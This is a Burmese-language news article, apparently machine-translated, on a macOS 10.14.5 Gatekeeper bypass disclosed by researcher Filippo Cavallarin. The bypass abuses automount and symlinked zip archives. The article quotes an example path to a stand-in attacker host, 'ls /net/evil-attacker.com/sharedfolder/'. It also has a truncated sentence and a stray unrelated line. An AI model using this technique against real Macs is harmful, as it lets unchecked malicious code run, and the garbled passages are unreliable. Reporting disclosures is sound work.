Amaya Toman လုံခြုံရေးသုတေသီ Filippo Cavallarin သည် ၎င်း၏ဘလော့ဂ်တွင် macOS 10.14.5 တွင် bug နှင့်ပတ်သက်၍ သတိပေးချက်တစ်ခုတင်ခဲ့သည်။ ၎င်းတွင် ဂိတ်စောင့်၏ လုံခြုံရေးအစီအမံများကို လုံးလုံးလျားလျား ရှောင်လွဲနိုင်ခြေ ပါဝင်သည်။ Cavallarin ရဲ့ အဆိုအရ သူဟာ Apple ကို ဒီနှစ် ဖေဖေါ်ဝါရီလမှာ မှားယွင်းခဲ့တာကို ထောက်ပြခဲ့ပေမယ့် ကုမ္ပဏီက နောက်ဆုံးထွက် update မှာ မပြင်ပေးခဲ့ပါဘူး။
Gatekeeper ကို Apple မှတီထွင်ခဲ့ပြီး 2012 ခုနှစ်တွင် ၎င်း၏ desktop operating system တွင် ပထမဆုံးအကြိမ် ထည့်သွင်းခဲ့သည်။ ၎င်းသည် အသုံးပြုသူ၏အသိပညာနှင့် ခွင့်ပြုချက်မရှိဘဲ အက်ပလီကေးရှင်းတစ်ခုလည်ပတ်ခြင်းကို ဟန့်တားသည့် ယန္တရားတစ်ခုဖြစ်သည်။ အက်ပ်တစ်ခုကို သင်ဒေါင်းလုဒ်လုပ်ပြီးနောက်၊ Gatekeeper သည် ဆော့ဖ်ဝဲလ်ကို Apple မှ မှန်ကန်စွာ လက်မှတ်ထိုးထားခြင်းရှိ၊
အဲဒါဖြစ်နိုင်တယ်။ မင်းကို စိတ်ဝင်စားတယ်။
၎င်း၏ဘလော့ဂ်ပို့စ်တွင်၊ Gatekeeper သည် ပုံမှန်အားဖြင့် ပြင်ပသိုလှောင်မှုနှင့် ကွန်ရက်မျှဝေမှုများကို လုံခြုံသောတည်နေရာအဖြစ် သတ်မှတ်သည်ဟု Gatekeeper မှတ်သားထားသည်။ ထို့ကြောင့် ဤပစ်မှတ်များတွင် နေထိုင်သည့် မည်သည့်အက်ပ်ကိုမဆို Gatekeeper စစ်ဆေးမှုမှတစ်ဆင့် အလိုအလျောက် စတင်နိုင်မည်ဖြစ်သည်။ ၎င်းသည် အသုံးပြုသူ၏အသိပညာမပါဘဲ အန္တရာယ်ရှိသောဆော့ဖ်ဝဲကိုဖွင့်ရန် အသုံးချနိုင်သည့် ဤအင်္ဂါရပ်ဖြစ်သည်။
ခွင့်ပြုချက်မရှိဘဲ ဝင်ရောက်ခွင့်ပြုသည့် အသွင်အပြင်တစ်ခုမှာ သုံးစွဲသူများအား "/net/" ဖြင့် အစပြုသည့် လမ်းကြောင်းကို သတ်မှတ်ခြင်းဖြင့် ကွန်ရက်မျှဝေမှုကို အလိုအလျောက် တပ်ဆင်ခွင့်ပြုသည့် automount အင်္ဂါရပ်ဖြစ်သည်။ ဥပမာတစ်ခုအနေနှင့်၊ Cavallarin သည် အန္တရာယ်ရှိနိုင်သည့် ဝေးလံခေါင်သီသောနေရာတွင်ရှိသော "sharefolder" ဖိုင်တွဲ၏ အကြောင်းအရာများကို တင်ဆောင်နိုင်စေသည့် "ls /net/evil-attacker.com/sharedfolder/" လမ်းကြောင်းကို ကိုးကားဖော်ပြပါသည်။
ခြိမ်းခြောက်မှု လုပ်ဆောင်ပုံ ဗီဒီယိုတွင် ကြည့်ရှုနိုင်သည်-
နောက်ထပ်အချက်တစ်ချက်မှာ automount function ကိုမျှဝေခြင်းသို့ဦးတည်သော သီးခြား symlink ပါရှိသော zip archive ကို Gatekeeper မှစစ်ဆေးမည်မဟုတ်ပါ။ ဤနည်းအားဖြင့်၊ သားကောင်သည် အန္တရာယ်ရှိသော မှတ်တမ်းကို အလွယ်တကူ ဒေါင်းလုဒ်လုပ်ပြီး ဇစ်ဖွင့်နိုင်ကာ တိုက်ခိုက်သူသည် အသုံးပြုသူ၏ အသိပညာမရှိဘဲ Mac တွင် မည်သည့်ဆော့ဖ်ဝဲလ်ကိုမဆို လုပ်ဆောင်နိုင်စေမည်ဖြစ်သည်။ အချို့သော extensions များကို မူရင်းအတိုင်း ဖုံးကွယ်ထားသည့် Finder သည် ဤအားနည်းချက်၏ အစုရှယ်ယာလည်း ရှိသည်။
Cavallarin က Apple သည် ယခုနှစ် ဖေဖော်ဝါရီလ ၂၂ ရက်နေ့တွင် macOS လည်ပတ်မှုစနစ်၏ အားနည်းချက်ကို အာရုံစိုက်ခဲ့ကြောင်း ၎င်း၏ဘလော့ဂ်တွင် ဖော်ပြထားသည်။ သို့သော် မေလလယ်တွင် Apple သည် Cavallarin နှင့် ဆက်သွယ်ခြင်းမပြုတော့သောကြောင့် Cavallarin သည် အရာအားလုံးကို အများသူငှာပြုလုပ်ရန် ဆုံးဖြတ်ခဲ့သည်။
ရင်းမြစ် - FCVL
